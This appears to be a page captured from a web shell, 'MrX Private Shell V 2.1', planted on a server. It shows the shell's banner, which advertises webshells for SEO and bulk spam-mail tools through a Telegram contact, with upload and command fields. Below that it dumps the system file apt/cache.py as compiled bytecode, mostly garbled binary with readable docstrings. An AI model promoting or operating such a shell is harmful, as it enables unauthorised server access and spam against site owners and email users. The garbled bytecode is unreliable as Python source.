__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

8.�gf�����SSKJr SSKrSSKrSSKrSSKrSSKJrJrJ	r	 SSK
JrJr SSK
r
SSKrSSKJrJr SSKJrJrJr "SS\5r"S	S
\5r"SS\5r"S
S\5r"SS\5r"SS5r"SS5r"SS5r "SS5r!"SS\!5r""SS\!5r#"SS5r$"SS 5r%S%S!jr&S%S"jr'S&S#jr(\)S$:Xa\("5 gg)'�)�annotationsN)�Callable�Iterator�KeysView)�Any�cast)�Package�Version)�AcquireProgress�InstallProgress�
OpProgressc��\rSrSrSrSrg)�FetchCancelledException�&zAException that is thrown when the user cancels a fetch operation.�N��__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��+/usr/lib/python3/dist-packages/apt/cache.pyrr&s��Krrc��\rSrSrSrSrg)�FetchFailedException�*z-Exception that is thrown when fetching fails.rNrrrrrr*s��7rrc��\rSrSrSrSrg)�UntrustedException�.z>Exception that is thrown when fetching fails for trust reasonsrNrrrrrr.���Hrrc��\rSrSrSrSrg)�LockFailedException�2z,Exception that is thrown when locking fails.rNrrrrr#r#2s��6rr#c��\rSrSrSrSrg)�CacheClosedException�6z>Exception that is thrown when the cache is used after close().rNrrrrr&r&6r!rr&c�6�\rSrSrSrSSjrS	SjrS
SjrSrg)�_WrappedLock�:z\Wraps an apt_pkg.FileLock to raise LockFailedException.

Initialized using a directory path.c��Xl[R"[RRUS55Ulg)N�lock)�_path�apt_pkg�FileLock�os�path�join�_lock)�selfr1s  r�__init__�_WrappedLock.__init__?s(���
��%�%�b�g�g�l�l�4��&@�A��
rc��URR5$![Ra"n[	SUR
<SU<35eSnAff=f)NzFailed to lock directory z: )r3�	__enter__r.�Errorr#r-)r4�es  rr8�_WrappedLock.__enter__CsG��	��:�:�'�'�)�)���}�}�	�%�7;�z�z�1�E��
��	�s��A�A
�
Ac�:�URRXU5$�N)r3�__exit__)r4�typ�value�	tracebacks    rr>�_WrappedLock.__exit__Ks���z�z�"�"�3�y�9�9r)r3r-N)r1�str�return�None�rDrE)r?�objectr@rGrArGrDrE)	rrrrrr5r8r>rrrrr)r):s��+�B��:rr)c���\rSrSrSrS0S1SjjrS2SjrS2SjrS3SjrS4Sjr	S5S6S	jjr
S2S
jrS2SjrS7Sjr
S8S
jrS9SjrS5S:SjjrS;SjrS<SjrS=SjrS>SjrS>SjrS?SjrS@SjrSASjrSBSCSjjr\S?Sj5r\S?Sj5r\SDSj5rSESjrS5SFSjjrSGSHSjjr SISjr!SJSKS jjr"SLSMS!jjr#SNS"jr$SGSOS#jjr%S2S$jr&S2S%jr'S2S&jr(SPS'jr)SQS(jr*SRS)jr+\SSS*j5r,\S?S+j5r-\S?S,j5r.\S?S-j5r/\S?S.j5r0S/r1g)T�Cache�OaXDictionary-like package cache.

The APT cache file contains a hash table mapping names of binary
packages to their metadata. A Cache object is the in-core
representation of the same. It provides access to APTs idea of the
list of available packages.

The cache can be used like a mapping from package names to Package
objects (although only getting items is supported).

Keyword arguments:
progress -- a OpProgress object,
rootdir  -- an alternative root directory. if that is given the system
sources.list and system lists/files are not read, only file relative
to the given rootdir,
memonly  -- build the cache in memory only.


.. versionchanged:: 1.0

    The cache now supports package names with special architecture
    qualifiers such as :all and :native. It does not export them
    in :meth:`keys()`, though, to keep :meth:`keys()` a unique set.
Nc	��[[RS5Ul[[RS5Ul[[RS5Ul[[RS5Ul	0Ul
0Ul[R"5Ul[R"5UlSUlSUlUR'SS5 UR'SS5 U(a [R(R+SS5 U(Ga�[,R.R1U5n[,R.R3US-5(a([R4"[R(US-5 [,R.R7US-5(a([R8"[R(US-5 [R(R+S	U5 [R(R+S
US-5 [,R.R3[,R.R;USS
S55(a@[R(R+S[,R.R;USS
S55 UR=U5 [R>"5 [R(RAS5n[CU5Ul"URGU5 g)N����cache_post_open�_inc_changes_count�cache_post_changezDir::Cache::pkgcache�z/etc/apt/apt.conf�/etc/apt/apt.conf.d�Dir�Dir::State::status�/var/lib/dpkg/status�usr�bin�dpkgzDir::bin::dpkg�Dir::Cache::Archives)$rr.rI�_cache�DepCache�	_depcache�PackageRecords�_records�
SourceList�_list�
_callbacks�_callbacks2�weakref�WeakValueDictionary�_weakref�WeakSet�
_weakversions�_changes_count�_sorted_set�connect�config�setr0r1�abspath�exists�read_config_file�isdir�read_config_dirr2�_check_and_create_required_dirs�init_system�find_dirr)�
_archive_lock�open)r4�progress�rootdir�memonly�archive_dirs     rr5�Cache.__init__is#��&*�'�-�-��%>���+/��0@�0@�$�+G���04��"�"�D�1
��
�*.�g�.@�.@�$�)G��
�FH���
�	
��
�'�'�)�	
�
�8?���7H��� ���-1������&�(<�=����(�*>�?���N�N���5�r�:���g�g�o�o�g�.�G��w�w�~�~�g�(;�;�<�<��(�(�����CV�9V�W��w�w�}�}�W�'<�<�=�=��'�'�����BW�8W�X��N�N���u�g�.��N�N���3�W�?U�5U�V��w�w�~�~�b�g�g�l�l�7�E�5�&�I�J�J����"�"�$�b�g�g�l�l�7�E�5�&�&Q��

�0�0��9�
���!��n�n�-�-�.D�E��)�+�6����	�	�(�rc�8�URR5 g)zFix broken packages.N)r[�
fix_broken�r4s rr|�Cache.fix_broken�s�����!�!�#rc�.�U=RS-
slg)zIncrease the number of changes�N)rgr}s rrN�Cache._inc_changes_count�s�����q� �rc�@�SS/n/SQnUHCn[RRX-5(aM+[R"X-5 ME UHGn[RRX-5(aM+[	X-S5R5 MI g)zN
check if the required apt directories/files are there and if
not create them
rTz/etc/apt/sources.list)z
/var/lib/dpkgz	/etc/apt/rQz/etc/apt/preferences.dz/var/cache/apt/archives/partialz/var/lib/apt/lists/partial�wN)r0r1rm�makedirsru�close)r4rw�files�dirs�d�fs      rrq�%Cache._check_and_create_required_dirs�s}��
#�#�
��
���A��7�7�>�>�'�+�.�.����G�K�(���A��7�7�>�>�'�+�.�.��W�[�#�&�,�,�.�rc��XR;a5URUH"nUS:XaUR5 MU"5 M$ XR;a&URUHup#nU"U/UQ70UD6 M gg)z!internal helper to run a callbackrNN)r`rNra�r4�name�callback�args�kwdss     r�_run_callbacks�Cache._run_callbacks�sx���?�?�"� �O�O�D�1���3�3��+�+�-��J�	2��#�#�#�(,�(8�(8��(>�$�����-��-��-�)?�$rc��Uc([RRR5nUR	5 XlUR
S5 [R"U5Ul	[R"UR5Ul[R"UR5Ul
[R"5UlURR!5 SUlUR%5 ['[R("55S:�UlUR-5 UR
S5 g)zDOpen the package cache, after that it can be used like
a dictionary
N�cache_pre_openr�rM)�aptrv�baser
r��op_progressr�r.rIrYrZr[r\r]r^r_�read_main_listrh�
_Cache__remap�len�get_architectures�_have_multi_arch�done)r4rvs  rru�
Cache.open�s������|�|�(�(�3�3�5�H��
�
��#�����,�-��m�m�H�-��� �)�)�$�+�+�6����.�.�t�{�{�;��
��'�'�)��
��
�
�!�!�#�������� #�G�$=�$=�$?� @�1� D����
�
�����-�.rc��[URR55HRnURUnURUR
RUR
R4UlMT [UR5GHnURR
RH�nURURR:XdM)URS:Xd@URRS:Xd&URURR:XdMyURURR:XdM�UR URR :XdM�XCl
 M� URR#U5 GM g![a GM�f=f![a URU	GM�f=f)z�Called after cache reopen() to relocate to new cache.

Relocate objects like packages and versions from the old
underlying cache to the new one.
rN)�listrd�keys�KeyErrorrY�_pkgr��architecture�LookupErrorrf�package�version_list�hash�_cand�size�
multi_arch�ver_str�remove)r4�key�pkg�ver�vs     r�__remap�
Cache.__remap�sM����
�
�*�*�,�-�C�
��m�m�C�(��
'��;�;�s�x�x�}�}�c�h�h�6K�6K�'K�L���.���*�*�+�C��[�[�%�%�2�2���F�F�c�i�i�n�n�,����1���	�	���!�(;�q�v�v������?W�����	�	�(<�(<�<��	�	�S�Y�Y�%6�%6�6� !�I��3��"�"�)�)�#�.�,���
��
��
�
'��M�M�#�&�
'�s"�F$�>F6�$
F3�2F3�6G�Gc�F�U?[[RS5Ulg)zClose the package cacheN)r]rr.r\r}s rr��Cache.closes��
�M��W�3�3�T�:��
rc��U$)zEnter the with statementrr}s rr8�Cache.__enter__s���rc�$�UR5 g)zExit the with statementN)r�)r4�exc_type�	exc_valuerAs    rr>�Cache.__exit__s���
�
�rc���[U5nURUnURU5(d[SU-5eUR	U5nU$![a [SU-5ef=f)z look like a dictionary (get key)z!The cache has no package named %r)rCrYr��_Cache__is_real_pkg�_rawpkg_to_pkg)r4r��rawpkgr�s    r�__getitem__�Cache.__getitem__s|��	F��c�(�C��[�[��%�F�
�!�!�&�)�)��>��D�E�E��!�!�&�)���
���	F��>��D�E�E�	F�s�A�A,c�0�X$![a Us$f=f)zQReturn *self*[*key*] or *default* if *key* not in *self*.

.. versionadded:: 1.1
)r�)r4r��defaults   r�get�	Cache.get$s#��
	��9����	��N�	�s���c�j�URSS9nURRU[X55$)zWReturns the apt.Package object for an apt_pkg.Package object.

.. versionadded:: 1.0.0
T��pretty)�get_fullnamerd�
setdefaultr	)r4r��fullnames   rr��Cache._rawpkg_to_pkg.s3��
�&�&�d�&�3���}�}�'�'��'�$�2G�H�Hrc#�# �UR5H8n[XRU5nURR	X5v� M: g7fr=)r�r	rYrdr��r4�pkgnamer�s   r�__iter__�Cache.__iter__7s?����y�y�{�G��$���G� 4�5�C��-�-�*�*�7�8�8�#�s�AAc��UR$)z8Check if the apt_pkg.Package provided is a real package.)�has_versions)r4r�s  r�
__is_real_pkg�Cache.__is_real_pkgAs���"�"�"rc�
�X;$r=r�r4r�s  r�has_key�
Cache.has_keyE�
���{�rc�r�URUR[U55$![a gf=f�NF)r�rYrCr�r�s  r�__contains__�Cache.__contains__Hs7��	��%�%�d�k�k�#�c�(�&;�<�<���	��	�s�&)�
6�6c�4�[UR55$r=)r�r�r}s r�__len__�
Cache.__len__Ns���4�9�9�;��rc�^�TRc.[U4SjTRR55Tl[	TR5$)Nc3�r># �UH,nTRU5(dMURSS9v� M. g7f)Tr�N)r�r�)�.0�pr4s  �r�	<genexpr>�Cache.keys.<locals>.<genexpr>Ss3����&�-�A��%�%�a�(�,����d��+�-�s�7�7)rh�sortedrY�packagesr�r}s`rr��
Cache.keysQsF������#�%�&����-�-�&� �D��
�D�$�$�%�%rc���/nURRnURRH2nU"U5(aMUR	URU55 M4 U$)zGet the marked changes)r[�marked_keeprYr��appendr�)r4�changesr�r�s    r�get_changes�Cache.get_changesZsS�����n�n�0�0���k�k�*�*�F��v�&�&����t�2�2�6�:�;�+��rc�z�UR5 URRU5 UR5 g)z�Upgrade all packages.

If the parameter *dist_upgrade* is True, new dependencies will be
installed as well (and conflicting packages may be removed). The
default value is False.
N)�cache_pre_changer[�upgraderO)r4�dist_upgrades  rr��
Cache.upgradecs.��	
���������|�,���� rc��URc[S5e[R"UR5n[R
"5nUR
X RUR5 UR$)z;Get the size of the packages that are required to download.�&Cache object used after close() called)	r]r&r.�PackageManagerr[�Acquire�get_archivesr_�fetch_needed)r4�pm�fetchers   r�required_download�Cache.required_downloadns\���=�=� �&�'O�P�P�
�
#�
#�D�N�N�
3���/�/�#��
������T�]�]�;��#�#�#rc�.�URR$)z8Get the size of the additional required space on the fs.)r[�usr_sizer}s r�required_space�Cache.required_spacexs���~�~�&�&�&rc�z�[5nURRn[[R
[R45nURRHWnU"U5nU(dMUR(aM'URU;dM9URURSS95 MY U$)zAReturn the packages not downloadable packages in reqreinst state.Tr�)
rkr[�get_candidate_ver�	frozensetr.�INSTSTATE_REINSTREQ�INSTSTATE_HOLD_REINSTREQrYr��downloadable�
inst_state�addr�)r4�	reqreinstr�statesr��cands      r�req_reinstall_pkgs�Cache.req_reinstall_pkgs}s����E�	� �N�N�<�<���
�
(�
(�'�*J�*J�K�
���;�;�'�'�C�$�S�)�D��t�D�-�-�-�#�.�.�F�2J��
�
�c�.�.�d�.�;�<�(��rc�^�Uc [RRSS5nURVs/sHo3R(aMUPM nnU(a+U(d$[SSR
SU55-5eUR5nSnSnURHTnURUR:XaMUR(aM2USURSURS3-
nS	nMV XQR:Xa[U5eU(a[U5eU$s snf)
NzAPT::Get::AllowUnauthenticatedFzUntrusted packages:
%s�
c3�8# �UHoRv� M g7fr=)�desc_uri)r��is  rr��%Cache._run_fetcher.<locals>.<genexpr>�s���5T�)�Q�j�j�)�s�rPzFailed to fetch � T)r.rj�find_b�items�
is_trustedrr2�run�status�	STAT_DONE�	STAT_IDLEr�
error_text�RESULT_CANCELLEDrr)r4r��allow_unauthenticated�item�	untrusted�res�failed�err_msgs        r�_run_fetcher�Cache._run_fetcher�s
��!�(�$+�N�N�$9�$9�3�U�%�!�'.�m�m�K�m�d�?�?�T�m�	�K��2�$�)�D�I�I�5T�)�5T�,T�T��
�
�k�k�m�������M�M�D��{�{�d�n�n�,���~�~���)�$�-�-���$�/�/�9J�"�M�M�G��F�
"��*�*�*�)�'�2�2�
�&�w�/�/��
��3Ls�D*�
D*c��URc[S5eURXRUR5(dgUR	X5$)zfetch the needed archivesr�F)r]r&r�r_r')r4r�r�r!s    r�_fetch_archives�Cache._fetch_archives�sK���=�=� �&�'O�P�P����w�
�
�D�M�M�B�B��� � ��@�@rc�\�UbUb[S5eUc([RRR	5nUc[
R"U5nUR URU[
R"UR5U5sSSS5 $!,(df   g=f)a�Fetch the archives for all packages marked for install/upgrade.

You can specify either an :class:`apt.progress.base.AcquireProgress()`
object for the parameter *progress*, or specify an already
existing :class:`apt_pkg.Acquire` object for the parameter *fetcher*.

The return value of the function is undefined. If an error occurred,
an exception of type :class:`FetchFailedException` or
:class:`FetchCancelledException` is raised.

The keyword-only parameter *allow_unauthenticated* specifies whether
to allow unauthenticated downloads. If not specified, it defaults to
the configuration option `APT::Get::AllowUnauthenticated`.

.. versionadded:: 0.8.0
Nz'Takes a progress or a an Acquire object)�
ValueErrorr�rv�textrr.r�rtr*r�r[)r4rvr�r!s    r�fetch_archives�Cache.fetch_archives�s���,��G�$7��F�G�G����|�|�(�(�8�8�:�H��?��o�o�h�/�G�
�
�
��'�'���/�/����?�AV�� �
�
�s�"1B�
B+c��URUn[UR=(a UR(+5$![a gf=f)z0Return whether the package is a virtual package.F)rY�bool�has_providesr�r�r�s   r�is_virtual_package�Cache.is_virtual_package�sK��	C��+�+�g�&�C���(�(�A��1A�1A�-A�B�B���	��	�s�>�
A�
Ac��[5nURRnURUnUR(aU(d[U5$URHFupxn	U	Rn
U(a
X�"U
5:XdM&URURU
55 MH [U5$![a [U5s$f=f)a�Return a list of all packages providing a package.

Return a list of packages which provide the virtual package of the
specified name.

If 'candidate_only' is False, return all packages with at
least one version providing the virtual package. Otherwise,
return only those packages where the candidate version
provides the virtual package.

If 'include_nonvirtual' is True then it will search for all
packages providing pkgname, even if pkgname is not itself
a virtual pkg.
)rkr[rrYr�r�r��
provides_list�
parent_pkgrr�)r4r��candidate_only�include_nonvirtual�	providersr�vp�provides�providesver�versionr�s           r�get_providing_packages�Cache.get_providing_packages�s���*#&�%�	� �N�N�<�<��	#����W�%�B����'9��I��&�/1�.>�.>�*�H�7��'�'�F�!�g�1B�6�1J�&J��
�
�d�1�1�&�9�:�/?��I�����	#��	�?�"�	#�s�1B5�5C
�C
c�X�[[RRS55 U(Ga[RR	S5n[RR	S5n[RR	S5n[RRS[RRU55 [RRSS5 [RRSS5 [R"5nUR5 OURnUc([RRR5nUR R#XU5n	U	(dU(a
['5eU	U(a`[RRSW5 [RRSW5 [RRSW5 sSSS5 $![$an
['U
5eSn
A
ff=f!U(aa[RRSW5 [RRSW5 [RRSW5 ff=f!,(df   g=f)a�Run the equivalent of apt-get update.

You probably want to call open() afterwards, in order to utilise the
new cache. Otherwise, the old cache will be used which can lead to
strange bugs.

The first parameter *fetch_progress* may be set to an instance of
apt.progress.FetchProgress, the default is apt.progress.FetchProgress()
.
sources_list -- Update a alternative sources.list than the default.
Note that the sources.list.d directory is ignored in this case
zDir::State::ListszDir::Etc::sourcelistzDir::Etc::sourcepartszAPT::List-Cleanup�xxx�0N)r)r.rjrs�findrkr0r1rlr^r�r_r�rvr�rrY�update�SystemErrorr)r4�fetch_progress�pulse_interval�raise_on_error�sources_list�old_sources_list�old_sources_list_d�old_cleanup�slistr$r:s           rrF�Cache.updates���&�'�.�.�1�1�2E�F�
G��#*�>�>�#6�#6�7M�#N� �%,�^�^�%8�%8�9P�%Q�"�%�n�n�1�1�2E�F�����"�"�*�B�G�G�O�O�L�,I�����"�"�#:�E�B����"�"�#6��<��*�*�,���$�$�&��
�
��
I�!�)�%(�\�\�%6�%6�%F�%F�%H�N�2��+�+�,�,�^�N�S�C��~�.�0�0����N�N�&�&�'=�?O�P��N�N�&�&�'>�@R�S��N�N�&�&�':�K�H�=H�
G��(#�2�.�q�1�1��2�� ��N�N�&�&�'=�?O�P��N�N�&�&�'>�@R�S��N�N�&�&�':�K�H� ��7H�
G�sJ�DJ�?+H.�+H�H.� A'J�
H+�H&�&H+�+H.�.A*J�J�
J)c���UR5 [R"5nU(a[R
"5 UR
U5nU(a[R"5 UR5 U$![a UR5 N�f=f!U(a[R"5 ff=f![a UR5 U$f=f)a!
The first parameter *pm* refers to an object returned by
apt_pkg.PackageManager().

The second parameter *install_progress* refers to an InstallProgress()
object of the module apt.progress.

This releases a system lock in newer versions, if there is any,
and reestablishes it afterwards.
)
�startUpdate�AttributeError�start_updater.�pkgsystem_is_locked�pkgsystem_unlock_innerr�pkgsystem_lock_inner�finishUpdate�
finish_update)r4r��install_progress�
did_unlockr$s     r�install_archives�Cache.install_archivesBs���	,��(�(�*��0�0�2�
���*�*�,�	/�"�&�&�r�*�C���,�,�.�	-��)�)�+��
��#�	,��)�)�+�	,����,�,�.���
�	-��*�*�,��
�	-�s/�B�B$�2C�B!� B!�$C�C$�#C$c���Uc([RRR5nUc([RRR	5nUce[
R"5 [
R"UR5n[
R"U5nUR URXTU5nURXB5nXdR:XaOJXdR:Xa[S5eXdR :XaO[SU-5eUR#5 M}SSS5 SSS5 WWR:H$!,(df   N%=f!,(df   N.=f)a�Apply the marked changes to the cache.

The first parameter, *fetch_progress*, refers to a FetchProgress()
object as found in apt.progress, the default being
apt.progress.FetchProgress().

The second parameter, *install_progress*, is a
apt.progress.InstallProgress() object.

The keyword-only parameter *allow_unauthenticated* specifies whether
to allow unauthenticated downloads. If not specified, it defaults to
the configuration option `APT::Get::AllowUnauthenticated`.
NzinstallArchives() failedz<internal-error: unknown result code from InstallArchives: %s)r�rvr�rrr.�
SystemLockr�r[r�rtr*r\�RESULT_COMPLETED�
RESULT_FAILEDrG�RESULT_INCOMPLETE�shutdown)r4rHrZr!r�r�r$s       r�commit�Cache.commites?��4�!� �\�\�.�.�>�>�@�N��#�"�|�|�0�0�@�@�B���+�+�+�
�
�
�
!��'�'����7�B��o�o�n�5�G��#�#���.�.�w�<Q�R�C��/�/��E�C��1�1�1��� 0� 0�0�)�*D�E�E�� 4� 4�4��)�<�>A�B���
�$�$�&�%�$�"�.�b�)�)�)�)�)$�#��"�
!�s&�1AE#�4A?E�3E#�
E 	�E#�#
E1c�8�URR5 g)zUnmark all changesN)r[�initr}s r�clear�Cache.clear�s�������rc�&�URS5 g)z>called internally if the cache has changed, emit a signal thenrON�r�r}s rrO�Cache.cache_post_change�s�����/�0rc�&�URS5 g)zEcalled internally if the cache is about to change, emit
a signal thenr�Nrkr}s rr��Cache.cache_pre_change�s��	
���.�/rc��US:wa[R"S[S5 XR;a/URU'URUR	U5 g)z�Connect to a signal.

.. deprecated:: 1.0

    Please use connect2() instead, as this function is very
    likely to cause a memory leak.
rNzAconnect() likely causes a reference cycle, use connect2() instead�N)�warnings�warn�RuntimeWarningr`r�)r4r�r�s   rri�
Cache.connect�sS���+�+��M�M�V���
�
���&�$&�D�O�O�D�!������$�$�X�.rc��XR;a/URU'URURX#U45 g)a�Connect to a signal.

The callback will be passed the cache as an argument, and
any arguments passed to this function. Make sure that, if you
pass a method of a class as your callback, your class does not
contain a reference to the cache.

Cyclic references to the cache can cause issues if the Cache object
is replaced by a new one, because the cache keeps a lot of objects and
tens of open file descriptors.

currently only used for cache_{post,pre}_{changed,open}.

.. versionadded:: 1.0
N)rar�r�s     r�connect2�Cache.connect2�s>��$�'�'�'�%'�D���T�"������%�%�x�t�&<�=rc�B�[R"UR5$)aoReturn an `ActionGroup` object for the current cache.

Action groups can be used to speedup actions. The action group is
active as soon as it is created, and disabled when the object is
deleted or when release() is called.

You can use the action group as a context manager, this is the
recommended way::

    with cache.actiongroup():
        for package in my_selected_packages:
            package.mark_install()

This way, the action group is automatically released as soon as the
with statement block is left. It also has the benefit of making it
clear which parts of the code run with a action group and which
don't.
)r.�ActionGroupr[r}s r�actiongroup�Cache.actiongroup�s��&�"�"�4�>�>�2�2rc�.�[RR[RRS55n[R"[RRUS55H!n[R"US5(dM! g g)z�Return True if the dpkg was interrupted

All dpkg operations will fail until this is fixed, the action to
fix the system if dpkg got interrupted is to run
'dpkg --configure -a' as root.
rS�updatesz[0-9]*TF)	r0r1�dirnamer.rj�	find_file�listdirr2�fnmatch)r4�dpkg_status_dirr�s   r�dpkg_journal_dirty�Cache.dpkg_journal_dirty�sg���'�'�/�/��N�N�$�$�%9�:�
�����B�G�G�L�L��)�D�E�A����q�(�+�+��F�rc�.�URR$)z7Return the number of packages with broken dependencies.)r[�broken_countr}s rr��Cache.broken_count�s���~�~�*�*�*rc�.�URR$)z2Return the number of packages marked for deletion.)r[�	del_countr}s r�delete_count�Cache.delete_counts���~�~�'�'�'rc�.�URR$)z6Return the number of packages marked for installation.)r[�
inst_countr}s r�
install_count�Cache.install_count����~�~�(�(�(rc�.�URR$)z-Return the number of packages marked as keep.)r[�
keep_countr}s rr��Cache.keep_count
r�r)
rtrYr`rargr[r�r_r]rhrdrfr�)NNF)rv�OpProgress | Nonerw�
str | Nonerxr2rDrErF)rwrCrDrE)r�rCrDrEr=)rvr�rDrE)rDrI)r�rGr�rGrArGrDrE)r�rGrDr	)r�rGr�rGrDr)r��apt_pkg.PackagerDr	�rDzIterator[Package])r�r�rDr2�r�rGrDr2�rD�int)rDz	list[str])rD�
list[Package])F)r�r2rDrE)rDzset[str])r��apt_pkg.Acquirer!�bool | NonerDr�)r�r�r��apt_pkg.PackageManagerr!r�rDr�)NNN)rv�AcquireProgress | Noner�zapt_pkg.Acquire | Noner!r�rDr�)r�rCrDr2)TF)r�rCr9r2r:r2rDr�)NrTN)
rHr�rIr�rJr2rKr�rDr�)r�r�rZrrDr�)rHr�rZzInstallProgress | Noner!r�rDr2)r�rCr�zCallable[..., None] | strrDrE)
r�rCr�zCallable[..., Any]r�rGr�rGrDrE)rDzapt_pkg.ActionGroup)rDr2)2rrrrrr5r|rNrqr�rur�r�r8r>r�r�r�r�r�r�r�r�r�r�r��propertyr�rrr'r*r/r4r@rFr\rdrhrOr�rirvrzr�r�r�r�r�rrrrrIrIOs����6'+�"��	5�#�5��5��	5�

�5�n$�!�/�2.�/�0/�@;���� �I�9�#��� �&��	!��$��$��'��'�����!�&�!�?J�!�	�!�N.2�	A� �A�
#�A� +�	A�


�A�(,0�*.�-1�	 �(� �(� � +�	 �


� �DC� $�#(�	"��"��"�!�	"�

�"�L26��#�#'�1I�.�1I��1I��	1I�
!�1I�

�
1I�f!�(�!�<K�!�	�!�J26�37�-1�	8*�.�8*�1�8*� +�	8*�

�8*�t�1�0�
/�$>��>�#5�>�>D�>�NT�>�	
�>�,3�*�
��
��+��+��(��(��)��)��)��)rrIc�^�\rSrSrSrSSjrS
SjrS
SjrS
SjrSSjr	SSjr
SS	jrS
rg)�ProblemResolverizmResolve problems due to dependencies and conflicts.

The first argument 'cache' is an instance of apt.Cache.
c�Z�[R"UR5UlXlgr=)r.r�r[�	_resolverrY�r4�caches  rr5�ProblemResolver.__init__s�� �0�0����A����rc�N�URRUR5 g)z'Reset the package to the default state.N)r�rhr��r4r�s  rrh�ProblemResolver.clears�������W�\�\�*rc�N�URRUR5 g)z)Protect a package so it won't be removed.N)r��protectr�r�s  rr��ProblemResolver.protects�������w�|�|�,rc�N�URRUR5 g)zMark a package for removal.N)r�r�r�r�s  rr��ProblemResolver.remove"s�������g�l�l�+rc��URR5 URR5 URR	5 g)z:Resolve dependencies, try to remove packages where needed.N)rYr�r��resolverOr}s rr��ProblemResolver.resolve&s2�����$�$�&������ ����%�%�'rc��URR5 URR5 URR	5 g)z4Resolve dependencies, do not try to remove packages.N)rYr�r��resolve_by_keeprOr}s rr��ProblemResolver.resolve_by_keep,s2�����$�$�&����&�&�(����%�%�'rc��URR5 URR5 URR	5 g)zKeep back phased updates.N)rYr�r��keep_phased_updatesrOr}s rr��#ProblemResolver.keep_phased_updates2s2�����$�$�&����*�*�,����%�%�'r)rYr�N�r�rIrDrE)r�r	rDrErF)
rrrrrr5rhr�r�r�r�r�rrrrr�r�s*���
�+�-�,�(�(�(rr�c�"�\rSrSrSrSSjrSrg)�Filteri<zFilter base classc��g)zYFilter function, return True if the package matchs a
filter criteria and False otherwise
Tr�r4r�s  r�apply�Filter.apply?s��rrN�r�r	rDr2�rrrrrr�rrrrr�r�<s
���rr�c�"�\rSrSrSrSSjrSrg)�MarkedChangesFilteriFz&Filter that returns all marked changesc�l�UR(d"UR(dUR(agg)NTF)�marked_install�
marked_delete�marked_upgrader�s  rr��MarkedChangesFilter.applyIs!������!2�!2�c�6H�6H��rrNr�r�rrrr�r�Fs
��0�rr�c�"�\rSrSrSrSSjrSrg)�InstalledFilteriPzEFilter that returns all installed packages.

.. versionadded:: 1.0.0
c��UR$r=)�is_installedr�s  rr��InstalledFilter.applyVs�����rrNr�r�rrrr�r�Ps���
 rr�c�@�\rSrSrSrS	SjrS	SjrS
SjrS	SjrSr	g)�_FilteredCacheHelperiZz:Helper class for FilteredCache to break a reference cycle.c��0Ul/UlURSUR5 URSUR5 g)NrOrM)�	_filtered�_filtersrv�filter_cache_post_changer�s  rr5�_FilteredCacheHelper.__init__]s<��+-���&(��
�
���*�D�,I�,I�J�
���(�$�*G�*G�Hrc��0UlUHHnURH5nURU5(dMSURUR' MF MJ g)zinternal helper to refilterTN)r�r�r�r�)r4r�r�r�s    r�_reapply_filter�$_FilteredCacheHelper._reapply_filteresE������C��]�]���7�7�3�<�<�/3�D�N�N�3�8�8�,��#�rc�H�/UlURRU5 g�zSet the current active filter.N)r�r��r4�filters  r�
set_filter�_FilteredCacheHelper.set_filteros����
��
�
���V�$rc�&�URU5 g�z;Called internally if the cache changes, emit a signal then.N)r�r�s  rr��-_FilteredCacheHelper.filter_cache_post_changets��	
���U�#r)r�r�Nr��r�r�rDrE)
rrrrrr5r�r�r�rrrrr�r�Zs��D�I��%�
$rr�c��\rSrSrSrSSSjjrSSjrSSjrSSjrSSjr	SS	jr
SS
jrSSjrSSjr
SS
jrSrg)�
FilteredCacheizzTA package cache that is filtered.

Can work on a existing cache or create a new one
Nc�l�Uc[U5UlOXl[UR5Ulgr=)rIr�r��_helper)r4r�rvs   rr5�FilteredCache.__init__�s)���=��x��D�J��J�+�D�J�J�7��rc�@�[URR5$r=)r�r�r�r}s rr��FilteredCache.__len__�s���4�<�<�)�)�*�*rc� �URU$r=�r�r�s  rr��FilteredCache.__getitem__�s���z�z�#��rc#�h# �URRHnURUv� M g7fr=)r�r�r�)r4r�s  rr��FilteredCache.__iter__�s(����|�|�-�-�G��*�*�W�%�%�.�s�02c�J�URRR5$r=)r�r�r�r}s rr��FilteredCache.keys�s���|�|�%�%�*�*�,�,rc�
�X;$r=rr�s  rr��FilteredCache.has_key�r�rc��URURURR;$![a gf=fr�)r�r�r�r�r�r�s  rr��FilteredCache.__contains__�s<��	��:�:�c�?�'�'�4�<�<�+A�+A�A�A���	��	�s�/2�
?�?c�n�URRU5 URR5 gr�)r�r�r�rOr�s  rr��FilteredCache.set_filter�s$��������'��
�
�$�$�&rc�N�URRUR5 gr�)r�r�r�r}s rr��&FilteredCache.filter_cache_post_change�s�����-�-�d�j�j�9rc�.�[URU5$)z)we try to look exactly like a real cache.)�getattrr�r�s  r�__getattr__�FilteredCache.__getattr__�s���t�z�z�3�'�'r)r�r�)NN)r�zCache | Nonervr�rDrEr�)r�rCrDr	r�)rDz
KeysView[str]r�r�rF)r�rCrDr)rrrrrr5r�r�r�r�r�r�r�r�r�rrrrr�r�zsX���IM�8�!�8�4E�8�	
�8�+��&�-���'�
:�(rr�c��[S5 g)Nzcache pre changed��printr�s r�cache_pre_changedr��s��	�
�rc��[S5 g)Nzcache post changedr�r�s r�cache_post_changedr�s��	�
�rc���[S5 [R"5 [[R
RR55nURS[5 URS[5 [SU;5 USn[UR5 [[U55 UR5HnXRU:XaMe UR5 UR5n[[U55 UHnUR(aMe SH?n[ R"R%U5(aM)[ R&"U5 MA [R(R+SS5 [R,"UR.5n[R0"[R
RR355nUR5XeS5 [S	5 [7U5nUR8RS[5 UR8RS[5 UR8R5 UR;[=55 [[U55 UR5HnX'UR:XaMe [[U55 [S
5 [7[R
